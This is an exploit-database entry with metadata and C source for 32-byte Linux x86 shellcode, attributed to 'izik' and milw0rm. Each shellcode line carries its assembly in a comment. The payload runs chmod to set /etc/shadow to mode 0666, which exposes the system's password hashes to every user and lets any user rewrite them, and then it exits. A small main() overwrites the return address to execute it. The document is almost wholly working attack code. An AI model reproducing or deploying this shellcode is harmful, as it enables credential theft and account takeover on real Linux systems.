Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (32 bytes)
Author: izik
type:
platform: linux_x86
port: 32.0
date_added: 2006-01-20
date_updated:
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url:
/*
* (linux/x86) chmod("/etc/shadow", 0666) + exit() - 32 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"\x6a\x0f" // push $0xf
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\x66\xb9\xb6\x01" // mov $0x1b6,%cx
"\x68\x61\x64\x6f\x77" // push $0x776f6461
"\x68\x63\x2f\x73\x68" // push $0x68732f63
"\x68\x2f\x2f\x65\x74" // push $0x74652f2f
"\x89\xe3" // mov %esp,%ebx
"\xcd\x80" // int $0x80
"\x40" // inc %eax
"\xcd\x80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// milw0rm.com [2006-01-21]